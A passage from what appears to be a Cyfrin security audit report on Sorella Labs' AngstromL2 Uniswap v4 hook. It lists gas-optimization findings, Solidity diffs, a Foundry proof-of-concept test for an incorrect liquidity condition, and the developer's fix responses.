        assertEq(upperRewardGrowthOutsideX128, 0);
    }
}
```

To successfully compile, first include the following import statements:

```
import {StateLibrary} from "v4-core/src/libraries/StateLibrary.sol";
import {Position} from "../src/types/PoolRewards.sol";
```

Next, include the following test harness:

```
contract AngstromL2Harness is AngstromL2 {
    constructor(IPoolManager uniV4, address owner, IFlashBlockNumber flashBlockNumberProvider)
        AngstromL2(uniV4, owner, flashBlockNumberProvider)
    {}

    function getRewardGrowthOutsideX128(PoolId id, int24 tick) public returns (uint256) {
        return rewards[id].rewardGrowthOutsideX128[tick];
    }

    function getRewardLastGrowthInsideX128(PoolId id, address owner, int24 tickLower, int24 tickUpper,
    ↪  bytes32 salt) public returns (uint256) {
        (Position storage pos, ) = rewards[id].getPosition(owner, tickLower, tickUpper, salt);
        return pos.lastGrowthInsideX128;
    }

    function getRewardGlobalGrowthX128(PoolId id) public returns (uint256) {
        return rewards[id].globalGrowthX128;
    }
}
```

And finally update the setup accordingly:

```
AngstromL2Harness angstrom;
...
angstrom = AngstromL2Harness(
    deployAngstromL2(
        type(AngstromL2Harness).creationCode,
        IPoolManager(address(manager)),
        address(this),
        getRequiredHookPermissions(),
        IFlashBlockNumber(address(0))
    )
);
```

Recommended Mitigation: Implement the `beforeAddLiquidity()` hook and corresponding permission to call `PoolRewards::updateAfterLiquidityAdd` prior to adding liquidity.

Sorella Labs: Fixed in commit cd0ac3c.

Cyfrin: Verified. The Uniswap initialization convention has been removed entirely to simplify the accumulator logic.

7.5 Gas Optimization

7.5.1 Unnecessary inline assembly operations can be removed and replaced by hardcoded constants

Description: `PoolKeyHelperLib::calldataToId` currently performs two unnecessary `mul` operations in computing the slice length:

```
function calldataToId(PoolKey calldata poolKey) internal pure returns (PoolId id) {
    assembly ("memory-safe") {
        let ptr := mload(0x40)
@>      calldatacopy(ptr, poolKey, mul(32, 5))
@>      id := keccak256(ptr, mul(32, 5))
    }
}
```

Instead, these operations can be avoided by referencing the length of 160 bytes directly.

Similarly, `PoolRewards::getPosition` currently performs three unnecessary `add` operations:

```
positionKey := keccak256(12, add(add(3, 3), add(20, 32)))
```

Instead, these operations can be avoided by referencing the the length of 58 bytes directly.

Recommended Mitigation:

```
// PoolKeyHelperLib.sol
function calldataToId(PoolKey calldata poolKey) internal pure returns (PoolId id) {
    assembly ("memory-safe") {
        let ptr := mload(0x40)
-       calldatacopy(ptr, poolKey, mul(32, 5))
-       id := keccak256(ptr, mul(32, 5))
+       calldatacopy(ptr, poolKey, 160)
+       id := keccak256(ptr, 160)
    }
}

// PoolRewards.sol
function getPosition(
    PoolRewards storage self,
    address owner,
    int24 lowerTick,
    int24 upperTick,
    bytes32 salt
) internal view returns (Position storage position, bytes32 positionKey) {
    assembly ("memory-safe") {
        // Compute Uniswap position key `keccak256(abi.encodePacked(owner, lowerTick, upperTick,
        ↪  salt))`.
        mstore(0x06, upperTick)
        mstore(0x03, lowerTick)
        mstore(0x00, owner)
        // WARN: Free memory pointer temporarily invalid from here on.
        mstore(0x26, salt)
-       positionKey := keccak256(12, add(add(3, 3), add(20, 32)))
+       positionKey := keccak256(12, 58)
        // Upper bytes of free memory pointer cleared.
        mstore(0x26, 0)
    }
    position = self.positions[positionKey];
}
```

Sorella Labs: Acknowledged. I left these as explicit adds to make it more explicit where the constant comes from, the compiler should trivially fold this into a constant anyway at compile time.

Cyfrin: Acknowledged.

7.5.2 Remove unnecessary local variables

Description: The following functions in `AngstromL2` assign an unnecessary local variable `priorityFee` that can be removed:

```
function _getSwapTaxAmount() internal view returns (uint256) {
-   uint256 priorityFee = tx.gasprice - block.basefee;
-   return getSwapTaxAmount(priorityFee);
+   return getSwapTaxAmount(tx.gasprice - block.basefee);
}

function _getJitTaxAmount() internal view returns (uint256) {
    if (_getBlock() == _blockOfLastTopOfBlock) {
        return 0;
    }
-   uint256 priorityFee = tx.gasprice - block.basefee;
-   return getJitTaxAmount(priorityFee);
+   return getJitTaxAmount(tx.gasprice - block.basefee);
}
```

The `simplePstarX96` variable within `CompensationPriceFinder::getOneForZero` can also be inlined and removed:

```
if (sumAmount0Deltas > taxInEther) {
-   uint256 simplePstarX96 = sumAmount1Deltas.divX96(sumAmount0Deltas - taxInEther);
-   if (simplePstarX96 <= uint256(priceUpperSqrtX96).mulX96(priceUpperSqrtX96)) {
+   if (
+       sumAmount1Deltas.divX96(sumAmount0Deltas - taxInEther)
+           <= uint256(priceUpperSqrtX96).mulX96(priceUpperSqrtX96)
+   ) {
        pstarSqrtX96 = _oneForZeroGetFinalCompensationPrice(
            liquidity,
            priceLowerSqrtX96,
            taxInEther,
            sumAmount0Deltas - delta0,
            sumAmount1Deltas - delta1
        );

        return (lastTick, pstarSqrtX96);
    }
}
```

Sorella Labs: Acknowledged. Will leave the variables as is because it improves readability and the gas improvement is likely negligible.

Cyfrin: Acknowledged.

7.5.3 `AngstromL2::beforeInitialize` conditionals can be combined

Description: `AngstromL2::beforeInitialize` validates support for both dynamic fees and native currency within the pool key:

```
function beforeInitialize(address, PoolKey calldata key, uint160)
    external
    view
    returns (bytes4)
{
    _onlyUniV4();
    if (key.currency0.toId() != NATIVE_CURRENCY_ID) revert IncompatiblePoolConfiguration();
    if (!LPFeeLibrary.isDynamicFee(key.fee)) revert IncompatiblePoolConfiguration();
    return this.beforeInitialize.selector;
}
```

These conditionals both revert with the same `IncompatiblePoolConfiguration()` custom error and so can be combined to save gas.

Recommended Mitigation:

```
function beforeInitialize(address, PoolKey calldata key, uint160)
    external
    view
    returns (bytes4)
{
    _onlyUniV4();
-   if (key.currency0.toId() != NATIVE_CURRENCY_ID) revert IncompatiblePoolConfiguration();
-   if (!LPFeeLibrary.isDynamicFee(key.fee)) revert IncompatiblePoolConfiguration();
+   if (key.currency0.toId() != NATIVE_CURRENCY_ID || !LPFeeLibrary.isDynamicFee(key.fee)) {
+       revert IncompatiblePoolConfiguration();
+   }
    return this.beforeInitialize.selector;
}
```

Sorella Labs: Acknowledged, will keep as is. Also no gas improvement was demonstrated, either way you're doing 2 branches because || does lazy evaluation and solc doesn't know how to optimize.

Cyfrin: Acknowledged.

7.5.4 Unnecessary arithmetic validation within `AngstromL2::withdrawProtocolRevenue` can be removed

Description: `AngstromL2::withdrawProtocolRevenue` first validates whether `unclaimedProtocolRevenueInEther` is sufficient to cover a withdrawal of `amount` by the owner; however, this is not necessary and can be removed as the subsequent decrement would panic revert due to underflow:

```
function withdrawProtocolRevenue(uint160 assetId, address to, uint256 amount) public {
    _checkOwner();

    if (assetId == NATIVE_CURRENCY_ID) {
@>      if (!(amount <= unclaimedProtocolRevenueInEther)) {
            revert AttemptingToWithdrawLPRewards();
        }
@>      unclaimedProtocolRevenueInEther -= amount.toUint128();
    }

    UNI_V4.transfer(to, assetId, amount);
}
```

Recommended Mitigation:

```
function withdrawProtocolRevenue(uint160 assetId, address to, uint256 amount) public {
    _checkOwner();

    if (assetId == NATIVE_CURRENCY_ID) {
-       if (!(amount <= unclaimedProtocolRevenueInEther)) {
-           revert AttemptingToWithdrawLPRewards();
-       }
        unclaimedProtocolRevenueInEther -= amount.toUint128();
    }

    UNI_V4.transfer(to, assetId, amount);
}
```

Sorella Labs: Fixed in commit ffb9fb2.

Cyfrin: Verified. The validation along with `unclaimedProtocolRevenueInEther` itself have been removed since revenue paid in the underlying currency is now distinct from rewards accounted by ERC-6909 balance.

7.5.5 `AngstromL2::_oneForZeroCreditRewards` should skip execution of range reward logic if there is no liquidity

Description: When crediting top-of-block tax rewards, `AngstromL2::_zeroForOneCreditRewards` skips execution if there is no liquidity in the given range:

```
if (tickNext >= lastTick && liquidity != 0) {
```

However, the equivalent condition within `AngstromL2::_oneForZeroCreditRewards` is implemented incorrectly:

```
if (tickNext <= lastTick || liquidity == 0) {
```

This causes execution to continue into the range reward calculation logic even when there is no liquidity in the given range. This is effectively a no-op since:

- `delta0` and `delta1` will both be evaluated as `0`.
- `rangeReward` will thus also be assigned as `0`.
- `taxInEther` will remain unchanged.
- `cumulativeGrowthX128` will also remain unchanged, although this is almost accidental as `PoolRewardsLib::getGrowthDelta` will return zero when called with zero liquidity due to the behavior of `FixedPointMathLib::rawDiv`, narrowly avoiding a revert.

```
    function getGrowthDelta(uint256 reward, uint256 liquidity)
        internal
        pure
        returns (uint256 growthDeltaX128)
    {
        if (!(reward < 1 << 128)) revert RewardOverflow();
@>      return (reward << 128).rawDiv(liquidity);
    }
```

Therefore, this logic should be skipped when there is no liquidity inside the range.

Proof of Concept: The following standalone file should be added to the test suite:

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "forge-std/console2.sol";
import {Pretty} from "./_helpers/Pretty.sol";
import {PoolRewards, PoolRewardsLib} from "../src/types/PoolRewards.sol";
import {CompensationPriceFinder} from "../src/libraries/CompensationPriceFinder.sol";
import {TickIteratorLib, TickIteratorUp} from "../src/libraries/TickIterator.sol";
import {SqrtPriceMath} from "v4-core/src/libraries/SqrtPriceMath.sol";
import {Q96MathLib} from "../src/libraries/Q96MathLib.sol";
import {FixedPointMathLib} from "solady/src/utils/FixedPointMathLib.sol";
import {MixedSignLib} from "../src/libraries/MixedSignLib.sol";
import {Slot0} from "v4-core/src/types/Slot0.sol";

import {BaseTest} from "./_helpers/BaseTest.sol";
import {RouterActor} from "./_mocks/RouterActor.sol";
import {MockERC20} from "super-sol/mocks/MockERC20.sol";
import {UniV4Inspector} from "./_mocks/UniV4Inspector.sol";
import {IPoolManager} from "v4-core/src/interfaces/IPoolManager.sol";
import {PoolKey} from "v4-core/src/types/PoolKey.sol";
import {PoolId, PoolIdLibrary} from "v4-core/src/types/PoolId.sol";
import {Currency} from "v4-core/src/types/Currency.sol";
import {IHooks} from "v4-core/src/interfaces/IHooks.sol";
import {BalanceDelta} from "v4-core/src/types/BalanceDelta.sol";
import {TickMath} from "v4-core/src/libraries/TickMath.sol";
import {LPFeeLibrary} from "v4-core/src/libraries/LPFeeLibrary.sol";
```

```
import {AngstromL2} from "../src/AngstromL2.sol";
import {getRequiredHookPermissions, POOLS_MUST_HAVE_DYNAMIC_FEE} from "../src/hook-config.sol";
import {IUniV4} from "../src/interfaces/IUniV4.sol";

import {IFlashBlockNumber} from "src/interfaces/IFlashBlockNumber.sol";

contract AngstromL2RewardsTest is BaseTest {

    using PoolIdLibrary for PoolKey;
    using IUniV4 for UniV4Inspector;
    using IUniV4 for IPoolManager;
    using TickMath for int24;
    using Q96MathLib for uint256;
    using FixedPointMathLib for *;
    using MixedSignLib for *;

    using Pretty for *;

    UniV4Inspector manager;
    RouterActor router;
    AngstromL2 angstrom;

    MockERC20 token;

    uint160 constant INIT_SQRT_PRICE = 1 << 96; // 1:1 price
    int24[2][] positionRanges; // Track positions ranges added with addLiquidity helper
    mapping(PoolId id => PoolRewards) internal rewardsModified;
    mapping(PoolId id => PoolRewards) internal rewardsOriginal;

    function setUp() public {
        vm.roll(100);
        manager = new UniV4Inspector();
        router = new RouterActor(manager);
        vm.deal(address(router), 100 ether);

        token = new MockERC20();
        token.mint(address(router), 1_000_000_000e18);

        angstrom = AngstromL2(
            deployAngstromL2(
                type(AngstromL2).creationCode,
                IPoolManager(address(manager)),
                address(this),
                getRequiredHookPermissions(),
                IFlashBlockNumber(address(0))
            )
        );
    }

    function initializePool(address asset1, int24 tickSpacing, int24 startTick)
        internal
        returns (PoolKey memory key)
    {
        require(asset1 != address(0), "Token cannot be address(0)");

        key = PoolKey({
            currency0: Currency.wrap(address(0)),
            currency1: Currency.wrap(asset1),
            fee: POOLS_MUST_HAVE_DYNAMIC_FEE ? LPFeeLibrary.DYNAMIC_FEE_FLAG : 0,
            tickSpacing: tickSpacing,
            hooks: IHooks(address(angstrom))
        });
```

```
    manager.initialize(key, TickMath.getSqrtPriceAtTick(startTick));

    return key;
}

/// @notice Helper to add liquidity on a given tick range
/// @param key The pool key
/// @param tickLower The lower tick of the range
/// @param tickUpper The upper tick of the range
/// @param liquidityAmount The amount of liquidity to add
function addLiquidity(
    PoolKey memory key,
    int24 tickLower,
    int24 tickUpper,
    uint128 liquidityAmount
) internal returns (BalanceDelta delta) {
    require(tickLower % key.tickSpacing == 0, "Lower tick not aligned");
    require(tickUpper % key.tickSpacing == 0, "Upper tick not aligned");
    require(tickLower < tickUpper, "Invalid tick range");

    (delta,) = router.modifyLiquidity(
        key, tickLower, tickUpper, int256(uint256(liquidityAmount)), bytes32(0)
    );

    // console.log("delta.amount0(): %s", delta.amount0().fmtD());
    // console.log("delta.amount1(): %s", delta.amount1().fmtD());
    positionRanges.push([tickLower, tickUpper]);

    return delta;
}

/*
 *  Shows that this doesn't revert even though it crosses through
 *  a range of zero liquidity
 */
function test_cyfrin_TestOneForZeroOnZeroLiquidityRange() public {
    PoolKey memory key = initializePool(address(token), 10, 3);

    setPriorityFee(100 gwei);
    addLiquidity(key, 0,  10, 1e22);
    /* Leave a gap of zero liquidity */
    addLiquidity(key, 20, 30, 1e22);
    router.swap(key, false, 1000e18, int24(25).getSqrtPriceAtTick());
    logRewards("after", key);
}

function test_cyfrin_PoolRewardsGetGrowthDeltaDoesntRevertOnZeroLiqudity() public {
    PoolRewardsLib.getGrowthDelta(0,0);
}

error RewardOverflow();

/// forge-config: default.allow_internal_expect_revert = true
function test_cyfrin_GetGrowthDeltaWouldRevertWithoutRawDiv() public {
     vm.expectRevert();
    _getGrowthDelta(0,0);
}

function test_cyfrin_OneForZeroCreditRewardsWorksWithModifiedLogic() public {
    uint128 LIQUIDITY = 1e22;
    uint256 PRIORITY_FEE = 100 gwei;
    int24[4] memory TICKS_TO_CHECK = [int24(0), 10, 20, 30];
```

```
    PoolKey memory key = initializePool(address(token), 10, 3);
    PoolId id = key.toId();

    setPriorityFee(PRIORITY_FEE);
    addLiquidity(key, 0,  10, LIQUIDITY);
    /* Leave a gap of zero liquidity */
    addLiquidity(key, 20, 30, LIQUIDITY);

    Slot0 slot0BeforeSwap = manager.getSlot0(id);
    router.swap(key, false, 1000e18, int24(25).getSqrtPriceAtTick());
    Slot0 slot0AfterSwap = manager.getSlot0(id);

    TickIteratorUp memory ticks = TickIteratorLib.initUp(
        IPoolManager(manager), id, 10, slot0BeforeSwap.tick(), slot0AfterSwap.tick()
    );

    uint256 taxInEther = angstrom.getSwapTaxAmount(PRIORITY_FEE);

    (int24 lastTick, uint160 pstarSqrtX96) = CompensationPriceFinder.getOneForZero(
        ticks, LIQUIDITY, taxInEther, slot0BeforeSwap, slot0AfterSwap
    );

    _oneForZeroCreditRewardsModified(ticks,1e22,taxInEther,slot0BeforeSwap.sqrtPriceX96(),lastTick,
    ↪  pstarSqrtX96);
    _oneForZeroCreditRewardsOriginal(ticks,1e22,taxInEther,slot0BeforeSwap.sqrtPriceX96(),lastTick,
    ↪  pstarSqrtX96);

    assertEq(rewardsOriginal[id].globalGrowthX128, rewardsModified[id].globalGrowthX128);


    for (uint256 i = 0; i < TICKS_TO_CHECK.length; i++) {
        int24 tick = TICKS_TO_CHECK[i];
        assertEq(rewardsOriginal[id].rewardGrowthOutsideX128[tick],
                 rewardsModified[id].rewardGrowthOutsideX128[tick]);
    }

}


/////////////////////////////////////////////////////////////////////////////*/

/*
 * Logic copied from PoolRewardsLib.getGrowthDelta and modified to not use `rawDiv`
 */
function _getGrowthDelta(uint256 reward, uint256 liquidity)
    internal
    pure
    returns (uint256 growthDelta)
{
    if (!(reward < 1 << 128)) revert RewardOverflow();
    return (reward << 128) / (liquidity);
}

function _min(uint160 x, uint160 y) internal pure returns (uint160) {
    return x < y ? x : y;
}

/*
 * Logic copied from AngstromL2.sol and modified to have following if-condition:
 *
 *    if (tickNext <= lastTick && liquidity != 0) {
```

```
     *
     * Also code modifies `rewardsModified` instead of `rewards` mapping
     */
    function _oneForZeroCreditRewardsModified(
        TickIteratorUp memory ticks,
        uint128 liquidity,
        uint256 taxInEther,
        uint160 priceLowerSqrtX96,
        int24 lastTick,
        uint160 pstarSqrtX96
    ) internal {
        uint256 pstarX96 = uint256(pstarSqrtX96).mulX96(pstarSqrtX96);
        uint256 cumulativeGrowthX128 = 0;
        uint160 priceUpperSqrtX96;

        while (ticks.hasNext()) {
            int24 tickNext = ticks.getNext();

            priceUpperSqrtX96 = _min(TickMath.getSqrtPriceAtTick(tickNext), pstarSqrtX96);

            uint256 rangeReward = 0;
            if (tickNext <= lastTick && liquidity != 0) {
                uint256 delta0 = SqrtPriceMath.getAmount0Delta(
                    priceLowerSqrtX96, priceUpperSqrtX96, liquidity, false
                );
                uint256 delta1 = SqrtPriceMath.getAmount1Delta(
                    priceLowerSqrtX96, priceUpperSqrtX96, liquidity, false
                );
                rangeReward = (delta0 - delta1.divX96(pstarX96)).min(taxInEther);

                unchecked {
                    taxInEther -= rangeReward;
                    cumulativeGrowthX128 += PoolRewardsLib.getGrowthDelta(rangeReward, liquidity);
                }
            }

            unchecked {
                rewardsModified[ticks.poolId].rewardGrowthOutsideX128[tickNext] += cumulativeGrowthX128;
            }

            (, int128 liquidityNet) = ticks.manager.getTickLiquidity(ticks.poolId, tickNext);
            liquidity = liquidity.add(liquidityNet);

            priceLowerSqrtX96 = priceUpperSqrtX96;
        }

        // Distribute remainder to last range and update global accumulator.
        unchecked {
            cumulativeGrowthX128 += PoolRewardsLib.getGrowthDelta(taxInEther, liquidity);
            rewardsModified[ticks.poolId].globalGrowthX128 += cumulativeGrowthX128;
        }
    }

    /*
     * Original logic for _oneForZeroCreditRewards but modifying `rewardsOriginal` instead of `rewards`
     ↪  mapping
     */

    function _oneForZeroCreditRewardsOriginal(
        TickIteratorUp memory ticks,
        uint128 liquidity,
        uint256 taxInEther,
        uint160 priceLowerSqrtX96,
```

```
        int24 lastTick,
        uint160 pstarSqrtX96
    ) internal {
        uint256 pstarX96 = uint256(pstarSqrtX96).mulX96(pstarSqrtX96);
        uint256 cumulativeGrowthX128 = 0;
        uint160 priceUpperSqrtX96;

        while (ticks.hasNext()) {
            int24 tickNext = ticks.getNext();

            priceUpperSqrtX96 = _min(TickMath.getSqrtPriceAtTick(tickNext), pstarSqrtX96);

            uint256 rangeReward = 0;
            if (tickNext <= lastTick || liquidity == 0) {
                uint256 delta0 = SqrtPriceMath.getAmount0Delta(
                    priceLowerSqrtX96, priceUpperSqrtX96, liquidity, false
                );
                uint256 delta1 = SqrtPriceMath.getAmount1Delta(
                    priceLowerSqrtX96, priceUpperSqrtX96, liquidity, false
                );
                rangeReward = (delta0 - delta1.divX96(pstarX96)).min(taxInEther);

                unchecked {
                    taxInEther -= rangeReward;
                    cumulativeGrowthX128 += PoolRewardsLib.getGrowthDelta(rangeReward, liquidity);
                }
            }

            unchecked {
                rewardsOriginal[ticks.poolId].rewardGrowthOutsideX128[tickNext] += cumulativeGrowthX128;
            }

            (, int128 liquidityNet) = ticks.manager.getTickLiquidity(ticks.poolId, tickNext);
            liquidity = liquidity.add(liquidityNet);

            priceLowerSqrtX96 = priceUpperSqrtX96;
        }

        // Distribute remainder to last range and update global accumulator.
        unchecked {
            cumulativeGrowthX128 += PoolRewardsLib.getGrowthDelta(taxInEther, liquidity);
            rewardsOriginal[ticks.poolId].globalGrowthX128 += cumulativeGrowthX128;
        }
    }



    /*
     * Helper functions
     */

    function logRewards(string memory s, PoolKey memory key) internal {
        bytes32 SALT = bytes32(0);
        console2.log("Rewards %s {", s);
        for (uint256 i = 0; i < positionRanges.length; i++) {

            int24 lower = positionRanges[i][0];
            int24 upper = positionRanges[i][1];

            uint256 rewards = angstrom.getPendingPositionRewards(key, address(router), lower, upper,
            ↪  SALT);
            console2.log("  rewards in [%s,%s]: %s", vm.toString(lower), vm.toString(upper),
            ↪  rewards.pretty());
```

```
        }
        console2.log("}");
    }
}
```

Recommended Mitigation: Modify the condition within `AngstromL2::_oneForZeroCreditRewards` to:

```
if (tickNext <= lastTick && liquidity != 0)
```

Sorella Labs: Fixed in commit d53cc19.

Cyfrin: Verified.

7.5.6 `AngstromL2::_computeAndCollectProtocolSwapFee` computation can be simplified

Description: `AngstromL2::_computeAndCollectProtocolSwapFee` currently performs the following computation:

```
    uint256 fee = exactIn
        ? absTargetAmount * protocolFeeE6 / FACTOR_E6
@>      : absTargetAmount * FACTOR_E6 / (FACTOR_E6 - protocolFeeE6) - absTargetAmount;
    fee128 = fee.toInt128();
```

However, the highlighted line can be simplified to:

```
absTargetAmount * protocolFeeE6 / (FACTOR_E6 - protocolFeeE6)
```

Sorella Labs: Fixed in commit aa90806.

Cyfrin: Verified. The calculation has been simplified.